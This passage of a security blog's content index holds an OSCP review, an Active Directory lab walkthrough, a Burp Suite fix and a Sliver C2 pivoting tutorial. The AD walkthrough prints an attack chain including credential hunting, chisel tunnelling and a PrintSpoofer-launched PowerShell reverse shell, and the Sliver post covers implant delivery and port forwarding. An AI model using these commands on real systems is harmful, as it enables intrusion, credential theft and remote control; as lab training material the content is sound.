trying to force your way in as the wrong user while the right one is a few rows down in a file you thought you’d already carefully read.\nAnother lesson was that the answer isn’t always “run another exploit” or “launch another enumeration script.” Sometimes the thing you need is right there in a config file, a scheduled task, a weird permission, or a piece of console history.\nAlso sometimes the thing that’s “broken” isn’t the target, but your own tool, misconfigured or missing a dependency.\nThat’s why methodology matters so much. Without a clear process, it’s easy to mistake motion for progress. For me, having a mental checklist when I landed on a new machine kept me grounded: check the running services, understand who’s logged in, enumerate users, know the version of the OS and environment, look for stored credentials, inspect history files, and so on. Then move to the next layer. And the next. One step at a time.\nPEN_200 helped give names and structure to techniques, but it didn’t, and I don\u0026rsquo;t think it supposed to give me an answer key to the exam. I believe the OSCP is designed to push you into situations where you don’t have step by step instructions. It’s less about, “Do you know this exact command?” and more about, “Can you figure it out and adapt?”\nIn the end, that’s what I took away from the whole experience.\nMy tips and advice # Hacktricks, Hackviser \u0026amp; HackingArticles were my go to resources. I found myself on those websites quite a lot during the exam while I was googling things. They are extremely valuable resources.\nThe Hacker Blueprint\u0026rsquo;s videos are probably some of the best videos I have seen when it comes to Active Directory. He has a very good methodology, I highly recommend watching his videos and his channel in general.\nBreaks are important. I took a lot more breaks during my second attempt compared to my first attempt. I used this online clock to set an alarm reminding (forcing) myself to take breaks.\nWhen pivoting with chisel and proxychains, always check your tunnel when a command suddenly stops working. Sometimes the tunnel just dies. People recommending ligolo-ng are right. What I like to do is keep multiple terminal windows open (I had around eight), with two dedicated to the chisel client and server so I can see instantly when the tunnel breaks. You could also try zellij which a friend recommended recently.\nAs you work on the machines, take screenshots and save them in obsidian. I had 2 screens I was working on, my Kali VM on one, and my notes, obsidian, and everything else on the other screen. That helped.\nMessage the proctor whenever you need to do something, but you don\u0026rsquo;t have to wait for them to respond. Also, if you are not sure of something ask for clarification before you do it.\nBuilding your methodology is way more important than building your notes. There are thousands of public notes you can borrow any time. Your methodology is unique to you. Figure out what works, what feels natural, what actually clicks in your head.\nThat’s all I can think of for now. I’m probably forgetting a few things, but I’m always happy to answer questions. If you’re taking or planning to take the OSCP, remember: pass or fail, you’re still learning.\nTip Curious how the OSCP compares to the PNPT? Read the OSCP vs PNPT Review for a side-by-side breakdown, or check out the PNPT Exam Review if you want my take on that one specifically.\n","date":"Mar 12, 2026","externalUrl":null,"permalink":"/posts/oscp-review/","section":"Posts","summary":"Honest review of the OSCP exam — difficulty, preparation tips, what to expect on exam day, and whether it is worth it in 2026.","title":"OSCP Exam Review","type":"posts"},{"content":"","date":"Mar 12, 2026","externalUrl":null,"permalink":"/tags/oscp-review/","section":"Tags","summary":"","title":"oscp review","type":"tags"},{"content":"","date":"Mar 2, 2026","externalUrl":null,"permalink":"/tags/active-directory/","section":"Tags","summary":"","title":"active directory","type":"tags"},{"content":"","date":"Mar 2, 2026","externalUrl":null,"permalink":"/categories/active-directory/","section":"Categories","summary":"","title":"Active Directory","type":"categories"},{"content":"For this challenge lab, we are given a /24 subnet and initial domain user credentials:\nEric.Wallows / EricLikesRunning800\nThe machines on the network are:\n192.168.146.95 192.168.146.96 192.168.146.97 We also know that these credentials are valid on 192.168.146.95, which gives us an easy first foothold.\nNote What we\u0026rsquo;ll be doing:\n[-]Enumerate an AD environment and identify the DC with netexec and Nmap.\n[-]Chain local credential hunting, RDP config files, and SQL access into domain admin.\n[-]Abuse SeImpersonatePrivilege with PrintSpoofer on Windows Server 2016 to get a SYSTEM shell.\nHost Discovery # The first thing we want is to understand the routing and confirm which hosts are reachable on the target subnet.\nOur VPN interface is tun0, and from the IPs we were given we can see the target network is 192.168.146.0/24.\nWe can now use netexec to check if we can communicate with the ip addresses over the network and basically identify the Domain Controller. We\u0026rsquo;ll use netexec\nnetexec smb 192.168.146.0/24 Tip If you hit a netexec error like this, do exactly what it says. You don’t need to keep the old DB. Remove it and rerun netexec so it can rebuild:\n[-] Schema mismatch detected for table \u0026lsquo;shares\u0026rsquo; in protocol \u0026lsquo;SMB\u0026rsquo;.\n[-] This is probably because a newer version of nxc is being run on an old DB schema. [-] Optionally save the old DB data (cp /home/kali/.nxc/workspaces/default/smb.db ~/nxc_smb.bak).\n[-] Then remove the SMB DB (rm -f /home/kali/.nxc/workspaces/default/smb.db) and run nxc to initialize the new DB.\nNice! From the Output, we learn:\n192.168.146.95 - SECURE 192.168.146.96 - ERA 192.168.146.97 - DC01 (Domain Controller; Likely) We also see the domain name: secura.yzx\nTo make life easier later, we save the IPs to a file (any editor works: nano, gedit, vim, etc.).\nHere I use gedit:\ngedit secura_ips In our case, since we already have the IP list, we can target just these machines with netexec instead of scanning the whole /24:\nnetexec smb secura_ips Network Enumeration # Next, we run a full TCP port scan against all hosts to identify exposed services:\nnmap -p- -Pn -iL secura_ips -v --min-rate 1000 --max-rtt-timeout 1000ms --max-retries 5 -oN nmap_ports.txt --open To go deeper per host, we can use nmapAutomator.sh. It only takes one IP at a time, so we wrap it in a simple loop:\nwhile read -r ip; do /home/kali/Tools/nmapAutomator.sh \u0026#34;$ip\u0026#34; Full \u0026lt;/dev/tty done \u0026lt; secura_ips While Nmap runs, we can start enumerating Active Directory over LDAP. We list domain users and check the description field for any credentials or hints:\nnetexec ldap 192.168.146.97 -u eric.wallows -p \u0026#39;EricLikesRunning800\u0026#39; --users Nothing interesting shows up in the description field, but we still want a clean username list for later (password spraying, AS‑REP roasting, etc.):\nnetexec ldap 192.168.146.97 -u eric.wallows -p \u0026#39;EricLikesRunning800\u0026#39; --users | fgrep -v \u0026#39;[\u0026#39; | fgrep -vi \u0026#39;-Username-\u0026#39; | awk \u0026#39;{print$ 5}\u0026#39; | tee secura_users This fgrep -v '[' | fgrep -vi '-Username-' | awk '{print $5}' | tee secura_users pipeline removes the noise from the netexec output, extracts just the usernames, and saves them to a file for later use.\nInitial Foothold on SECURE (WinRM) # Since we have our set of credentials, we can log in to 192.168.146.95 via WinRM:\nevil-winrm-py -i 192.168.146.95 -u \u0026#39;eric.wallows\u0026#39; -p \u0026#39;EricLikesRunning800\u0026#39; Once we have a shell, we can immediately hunt for flags:\nGet-ChildItem C:\\Users\\ -Recurse -Include proof.txt,user.txt,local.txt -File -ErrorAction SilentlyContinue We found proof.txt in C:\\Users\\Administrator\\Desktop. This is our first flag.\nLocal Enumeration \u0026amp; Credential Hunting on SECURE # Next, we look for local misconfigurations and stored credentials using WinPEAS and LaZagne.\nupload ~/Tools/LaZagne.exe C:\\Users\\Public\\ upload ~/Tools/Winpeas/winPEASany.exe C:\\Users\\Public\\ LaZagne doesn’t return anything useful here, so we run WinPEAS and redirect output to a file:\n.\\winPEASany.exe quiet cmd \u0026gt; C:\\Users\\Public\\winpeas.txt After it finishes, we download the file on our attacking machine:\ndownload winpeas.txt . WinPEAS output is UTF‑16 and contains ANSI color codes, so we clean it up first:\niconv -f utf-16 -t utf-8 winpeas.txt -o winpeas_utf8.txt sed -r \u0026#39;s/\\x1B\\[[0-9;]*m//g\u0026#39; winpeas_utf8.txt \u0026gt; winpeas_clean.txt # strip the ANSI color code Then we can quickly search it on our attacking box:\nless winpeas_clean.txt Inside less, we search for credential-related hits with /credentials and move between matches using n (next) and N (previous).\nWinPEAS finds autologon credentials:\nDefaultUsername: administrator DefaultPassword: Reality2Show4!.? We also see a reference to an RDCMan.settings file:\nLet\u0026rsquo;s download it for inspection:\ndownload C:\\Users\\Administrator\\AppData\\Local\\Microsoft\\Remote Desktop Connection Manager\\RDCMan.settings . Inside, we find another set of credentials:\nusername: apache password: New2Era4.! These are used to connect to Era.secura.yzx, which lines up with our ERA host.\nLateral Movement to ERA (apache) # Using the apache credentials, we connect to ERA:\nevil-winrm-py -i 192.168.179.96 -u apache -p \u0026#39;New2Era4.!\u0026#39; Warning The lab restarted while I was away, so the subnet changed from .146 to .179. Same three hosts, new IPs: 192.168.179.95. 192.168.179.96. 192.168.179.97.\nWe don’t find a flag on ERA yet, but we do discover a local SQL/MariaDB instance we can access from this machine.\nPivoting to Internal SQL via Chisel # To reach the database from our attacking box, we set up a reverse port forward with chisel.\nUpload chisel.exe to the target:\nupload ~/Tools/chisel.exe C:\\. Start a chisel server with reverse tunneling enabled on our attacking machine.\n./chisel server -p 8082 --reverse Then, from the target, connect back and request a reverse tunnel that forwards local MySQL port 3306 to our attacking machine\n.\\chisel.exe client 192.168.45.236:8082 R:3306:127.0.0.1:3306 Now from our attacking machine, we can treat the remote MySQL as if it were local:\nmysql -u root -h 127.0.0.1 -P 3306 --skip-ssl Once connected, we enumerate:\nshow databases; The creds database looks promising:\nuse creds; show tables; There is a creds table inside, let\u0026rsquo;s dump it:\nSELECT * FROM creds; We get some credentials, including ones for administrator and charlotte.\nLateral Movement to DC01 (Database Creds) # First, we try the new administrator credentials on ERA:\nevil-winrm-py -i 192.168.179.96 -u administrator -p Almost4There8.? From here, we can reuse our flag-hunting command:\nGet-ChildItem C:\\Users\\ -Recurse -Include proof.txt,user.txt,local.txt -File -ErrorAction SilentlyContinue Next, we target the Domain Controller with charlotte’s credentials:\nevil-winrm-py -i 192.168.179.97 -u charlotte -p Game2On4.! On this host we obtain the local flag, but we still need proof.txt, so we’ll escalate privileges.\nPrivilege Escalation: Abusing SeImpersonate for DA (PrintSpoofer) # To look for escalation paths, we use SharpUp.exe.\nUpload and run it:\n.\\SharpUp.exe audit SharpUp reports that the SeImpersonatePrivilege is enabled. This is a classic target for tools like PrintSpoofer.exe.\nFirst, let\u0026rsquo;s confirm the OS version:\nGet-ItemProperty -Path \u0026#39;HKLM:\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\u0026#39; | Select-Object ProductName, ReleaseId, CurrentBuildNumber The host is Windows Server 2016, so PrintSpoofer should work.\nWe upload PrintSpoofer.exe to the target, then set up a listener on our attacking machine:\nnc -lvnp 2121 Finally, we run PrintSpoofer to spawn a SYSTEM PowerShell reverse shell:\n.\\PrintSpoofer.exe -c \u0026#34;powershell.exe -nop -ep bypass -c `$client=New-Object System.Net.Sockets.TCPClient(\u0026#39;192.168.45.236\u0026#39;,2121);`$s=`$client.GetStream();[byte[]]`$b=0..65535|%{0};while((`$i=`$s.Read(`$b,0,`$b.Length)) -ne 0){`$d=(New-Object -TypeName System.Text.ASCIIEncoding).GetString(`$b,0,`$i);`$sb=(iex `$d 2\u0026gt;\u0026amp;1 | Out-String );`$sb2=`$sb.Split(`\u0026#34;`r`\u0026#34;`n`\u0026#34;);`$sb2[-2];`$sendbyte=([text.encoding]::ASCII).GetBytes(`$sb+\u0026#39;PS\u0026gt;\u0026#39;);`$s.Write(`$sendbyte,0,`$sendbyte.Length);`$s.Flush()};`$client.Close()\u0026#34; And boom! We got our SYSTEM shell\nFrom here, we can grab the final proof.txt flag from the Administrator desktop and complete the lab.\nTip Want to go deeper on C2 and pivoting techniques? Network Pivoting with Sliver C2 covers port forwarding through a compromised host to reach internal-only network segments. If you are working toward the OSCP and want to see how AD skills translate to the exam, check out the OSCP Exam Review.\n","date":"Mar 2, 2026","externalUrl":null,"permalink":"/posts/AD-Hacking/","section":"Posts","summary":"Full Active Directory attack chain: enumeration with NetExec, credential hunting with WinPEAS, lateral movement, and privilege escalation with PrintSpoofer.","title":"Active Directory Attack Chain: NetExec, WinPEAS, and PrintSpoofer","type":"posts"},{"content":"","date":"Mar 2, 2026","externalUrl":null,"permalink":"/tags/bloodhound/","section":"Tags","summary":"","title":"bloodhound","type":"tags"},{"content":"","date":"Mar 2, 2026","externalUrl":null,"permalink":"/tags/lateral-movement/","section":"Tags","summary":"","title":"lateral movement","type":"tags"},{"content":"","date":"Mar 2, 2026","externalUrl":null,"permalink":"/tags/netexec/","section":"Tags","summary":"","title":"netexec","type":"tags"},{"content":"","date":"Mar 2, 2026","externalUrl":null,"permalink":"/tags/printspoofer/","section":"Tags","summary":"","title":"printspoofer","type":"tags"},{"content":"","date":"Mar 2, 2026","externalUrl":null,"permalink":"/tags/privilege-escalation/","section":"Tags","summary":"","title":"privilege escalation","type":"tags"},{"content":"","date":"Mar 2, 2026","externalUrl":null,"permalink":"/categories/red-team/","section":"Categories","summary":"","title":"Red Team","type":"categories"},{"content":"","date":"Mar 2, 2026","externalUrl":null,"permalink":"/tags/winpeas/","section":"Tags","summary":"","title":"winpeas","type":"tags"},{"content":"","date":"Feb 21, 2026","externalUrl":null,"permalink":"/tags/browser-fix/","section":"Tags","summary":"","title":"browser fix","type":"tags"},{"content":"","date":"Feb 21, 2026","externalUrl":null,"permalink":"/tags/burp-suite/","section":"Tags","summary":"","title":"burp suite","type":"tags"},{"content":"","date":"Feb 21, 2026","externalUrl":null,"permalink":"/categories/burp-suite/","section":"Categories","summary":"","title":"Burp Suite","type":"categories"},{"content":"I ran into an issue where Burp Suite’s embedded Chromium browser wouldn’t launch on Linux.\nThese are the steps that fixed it.\nWarning This is a quick, common fix that adds a new setuid root binary to your system, which has security implications. It\u0026rsquo;s good to be aware of that.\nThe less Secure \u0026amp; Common Fix # 1. Find the chrome-sandbox binary # I used the installer.sh to install burp suite, so my path was something like this\n~/BurpSuiteCommunity/burpbrowser/*/chrome-sandbox If you’re not sure where it is, you can locate it with find:\nfind ~ -type f -name \u0026#34;chrome-sandbox\u0026#34; You’ll likely see multiple versions. For example:\nIn my case, the latest version was\n/home/kali/.BurpSuite/burpbrowser/142.0.7444.175/chrome-sandbox You can go to the directory and list all the versions there directly:\ncd /home/kali/.BurpSuite/burpbrowser \u0026amp;\u0026amp; ls Then remove the ones you don’t want:\nrm -rf 126.0.6478.126 137.0.7151.68 141.0.7390.65 142.0.7444.134 Adjust to match the versions you actually have\n2. Fix owner and permissions # sudo chown root:root /path/to/chrome-sandbox sudo chmod 4755 /path/to/chrome-sandbox This sets chrome-sandbox as setuid root, which Chromium’s sandbox requires on some Linux setups. Only do this if you are comfortable adding another setuid binary to your system.\nYou can verify it worked with\nls -l /path/to/chrome-sandbox 3. Launch the Burp browser # Close Burp Suite completely and reopen it, then try launching the embedde browser again.\nIn my case, it worked immediately without restarting Burp. If it doesn’t for you, try fully closing Burp Suite and open it again before retrying.\nThe less common \u0026amp; Secure Fix # If you’d prefer a more security-conscious approach, Anthony Hanel wrote a great post on confinement instead of adding another setuid binary.\nI have not personally used it to fix the issue I had, but, it\u0026rsquo;s worth a read.\nHis method doesn\u0026rsquo;t rely on setting up a new setuid chrome-sandbox binary, which is a better long-term option if you care about security.\n","date":"Feb 21, 2026","externalUrl":null,"permalink":"/posts/burp-suite-browser-not-working/","section":"Posts","summary":"How to fix the Burp Suite embedded browser not launching on Linux — quick fix for the Chromium sandbox and version mismatch errors.","title":"Burp Suite browser not working (Fix)","type":"posts"},{"content":"","date":"Feb 21, 2026","externalUrl":null,"permalink":"/tags/chromium/","section":"Tags","summary":"","title":"chromium","type":"tags"},{"content":"","date":"Feb 21, 2026","externalUrl":null,"permalink":"/tags/proxy/","section":"Tags","summary":"","title":"proxy","type":"tags"},{"content":"","date":"Feb 21, 2026","externalUrl":null,"permalink":"/tags/web-security/","section":"Tags","summary":"","title":"web security","type":"tags"},{"content":"","date":"Jan 26, 2026","externalUrl":null,"permalink":"/categories/c2/","section":"Categories","summary":"","title":"C2","type":"categories"},{"content":"","date":"Jan 26, 2026","externalUrl":null,"permalink":"/tags/c2-framework/","section":"Tags","summary":"","title":"c2 framework","type":"tags"},{"content":"","date":"Jan 26, 2026","externalUrl":null,"permalink":"/tags/network-penetration/","section":"Tags","summary":"","title":"network penetration","type":"tags"},{"content":"This is how we want to set up our environment:\nKali (Attacker): Runs the Sliver server. Ubuntu-A (Host A)): Gets a Sliver implant that connects back to Kali.​ Acts as our pivot point (via Sliver port forwarding).​ Ubuntu-B (Host B): Runs a web server on 0.0.0.0:8080 (e.g., a simple HTTP server). Is reachable from Host A’s network, but not directly from Kali (Host B is on an internal-only network segment). From Kali: Use Sliver’s portfwd feature on the Host A session.​ Reach Host B’s Web Server through Host A, via multi-hop pivoting Ubuntu Releases / OS Credentials # Ubuntu Releases: https://releases.ubuntu.com/\nNote I\u0026rsquo;m using Ubuntu version 22.04.05 LTS for the two Ubuntu VMs. I tried the latest version, which is 24.04.03 LTS at the time I\u0026rsquo;m writing this, and the VMs would randomly freeze with a black screen on Vmware Workstation Pro 17. I didn\u0026rsquo;t have that issue with 22.04.05 LTS.\nCredentials:\nKali Host: kali/kali\nUbuntu A: hacker/hack123\nUbuntu B: hacker/hack123\nDownloading Sliver and Setting Up the Web Server # Downloading Sliver is honestly pretty straight forward. Since we are using kali, we can install Sliver with apt\nsudo apt install sliver Note I do want to mention that the sliver version in apt isn\u0026rsquo;t always the latest one. In my case it wasn\u0026rsquo;t, but it works fine for this set up. Though, it\u0026rsquo;s good to be aware of this as in a real engagement, those little details could make a difference.\nTo get the latest version, you can refer to the official doc.\nWe can start an http Web Server on Host B listening everywhere (0.0.0.0) on port 8080.\npython3 -m http.server 8080 --bind 0.0.0.0 Setting up Sliver # We can launch Sliver and then start an HTTP Listener from our Kali VM\nsudo sliver-server http --lhost 0.0.0.0 --lport 8888 Now, we need to generate an implant for Host A to call back to our attacking machine (Kali)\nCompromising Host A # Generating Implant # generate --http 192.168.15.129:8888 --os linux --arch amd64 Our implant is called \u0026ldquo;TIRED_DYNAMO\u0026rdquo; and the path is specified.\nNow we need to send TIRED_DYNAMO to Host A.\nShipping Implant via SCP and Execution # We can use SSH to Ship our implant to Host A. Conveniently, port 22 is open on Host A. We can ship our implant using SCP.\nsudo scp TIRED_DYNAMO hacker@192.168.15.140:/home/hacker/ Tip By \u0026ldquo;conveniently\u0026rdquo;, I mean we opened it. Install SSH on Host A sudo apt install ssh, and start it with systemctl start ssh\nFrom Ubuntu A, we can run our Implant\n./TIRED_DYNAMO As we can see from our server, a call back was established: Using the Established connection # Let\u0026rsquo;s check all of our current running sessions\nsessions We can see the ID ce3077ac which is attributed to the callback from Host A. Let\u0026rsquo;s use that session\nuse ce3077ac We are now connected to Ubuntu A as the user hacker\nUnderstanding the Network Topology # Ubuntu-A has two network interfaces, so it can communicate with both the Kali machine and Ubuntu-B. But our Kali machine can\u0026rsquo;t communicate with Ubuntu B, since it\u0026rsquo;s on a different network.\nNote We should definitely test our network configuration to make sure that everything is working as intended. Kali should not be able to communicate with Host B directly, while Host A can reach both Kali and Host B over its two network interfaces.\nNow, let\u0026rsquo;s test and make sure that Ubuntu-A can access the server running on Ubuntu-B. From Ubuntu-A\ncurl 10.10.15.131:8080 Looks like it\u0026rsquo;s working. We can see it here too Port Forwarding Through Sliver # Our Kali VM can\u0026rsquo;t communicate with the web server running on Host B. From our sliver session on Host A, we can set up port forwarding so that we can reach the web server from our Kali machine.\nportfwd add --remote 10.10.15.131:8080 So, now we can reach the web server on Host B with 127.0.0.1:8080 from our Kali machine.\ncurl 127.0.0.1:8080 The source Ip will show up as 10.10.15.130 (Host-A) on Host-B, since we are using port forwarding to access the web server via Host-A\nThat concludes it! This is how we can access a website that is set up on a remote host via port forwarding.\nWhy this matters ? # This is very useful for real-world engagements, as this scenario is quite common. In real environments, your initial foothold is rarely on the “interesting” target; it is usually on a workstation that has access to internal networks you cannot see from the outside. Using Sliver’s port forwarding to pivot through that host lets you reach internal-only services (for example, the web server on Host B) without exposing new inbound ports. This can also be used to establish persistence if the implant can blend in as a legitimate service or scheduled task that runs periodically.\nTip Want to see pivoting applied in a full Active Directory attack? Active Directory Attack Chain: NetExec, WinPEAS, and PrintSpoofer walks through a multi-host AD compromise where lateral movement and tunneling are key.\n","date":"Jan 26, 2026","externalUrl":null,"permalink":"/posts/sliver-pivoting-set-up/","section":"Posts","summary":"Red team walkthrough using Sliver C2 to pivot through a compromised host, set up port forwarding, and reach internal network segments.","title":"Network Pivoting with Sliver C2","type":"posts"},{"content":"","date":"Jan 26, 2026","externalUrl":null,"permalink":"/tags/pivoting/","section":"Tags","summary":"","title":"pivoting","type":"tags"},{"content":"","date":"Jan 26, 2026","externalUrl":null,"permalink":"/tags/port-forwarding/","section":"Tags","summary":"","title":"port forwarding","type":"tags"},{"content":"","date":"Jan 26, 2026","externalUrl":null,"permalink":"/tags/sliver-c2/","section":"Tags","summary":"","title":"sliver c2","type":"tags"},{"content":"","date":"Jan 23, 2026","externalUrl":null,"permalink":"/tags/p25/","section":"Tags","summary":"","title":"p25","type":"tags"},{"content":"","date":"Jan 23, 2026","externalUrl":null,"permalink":"/categories/p25/","section":"Categories","summary":"","title":"P25","type":"categories"},{"content":"","date":"Jan 23, 2026","externalUrl":null,"permalink":"/tags/sdrtunk/","section":"Tags","summary":"","title":"sdrtunk","type":"tags"},{"content":"","date":"Jan 23, 2026","externalUrl":null,"permalink":"/tags/trunked-radio/","section":"Tags","summary":"","title":"trunked radio","type":"tags"},{"content":"","date":"Jan 18, 2026","externalUrl":null,"permalink":"/tags/dual-boot/","section":"Tags","summary":"","title":"dual boot","type":"tags"},{"content":"","date":"Jan 18, 2026","externalUrl":null,"permalink":"/tags/gentoo/","section":"Tags","summary":"","title":"gentoo","type":"tags"},{"content":"","date":"Jan 18, 2026","externalUrl":null,"permalink":"/tags/installation/","section":"Tags","summary":"","title":"installation","type":"tags"},{"content":"","date":"Jan 18, 2026","externalUrl":null,"permalink":"/tags/live-usb/","section":"Tags","summary":"","title":"live usb","type":"tags"},{"content":"","date":"Jan 18, 2026","externalUrl":null,"permalink":"/categories/pentoo/","section":"Categories","summary":"","title":"Pentoo","type":"categories"},{"content":"","date":"Jan 18, 2026","externalUrl":null,"permalink":"/tags/security-distro/","section":"Tags","summary":"","title":"security distro","type":"tags"},{"content":"I\u0026rsquo;m PnP - a security researcher, a geek, a nerd, and someone who genuinely enjoys breaking things to understand how they work.\nI focus on red teaming, wireless security, and IoT, digging into the hardware and RF. I hold the OSCP and PNPT, but beyond that, I care about the craft.\nOutside of hacking, I\u0026rsquo;m into anime, art, and music. The same curiosity that pulls me toward a complex machine to break into or a tool to design is what draws me to a good story or a well-made track.\nWhat you\u0026rsquo;ll find here # Practical hands-on posts covering:\nPenetration Testing and Red Team operations RF Hacking and Software Defined Radio IoT and Hardware Hacking Wireless Security Tools, builds, and the occasional rabbit hole I love learning, building, breaking, and teaching. If you have any feedback, please don\u0026rsquo;t hesitate to share it in the comment section.\n","externalUrl":null,"permalink":"/about/","section":"Break it to understand it.","summary":"","title":"$ whoami","type":"page"},{"content":"","externalUrl":null,"permalink":"/authors/","section":"authors","summary":"","title":"authors","type":"authors"},{"content":"","externalUrl":null,"permalink":"/series/","section":"series","summary":"","title":"series","type":"series"}]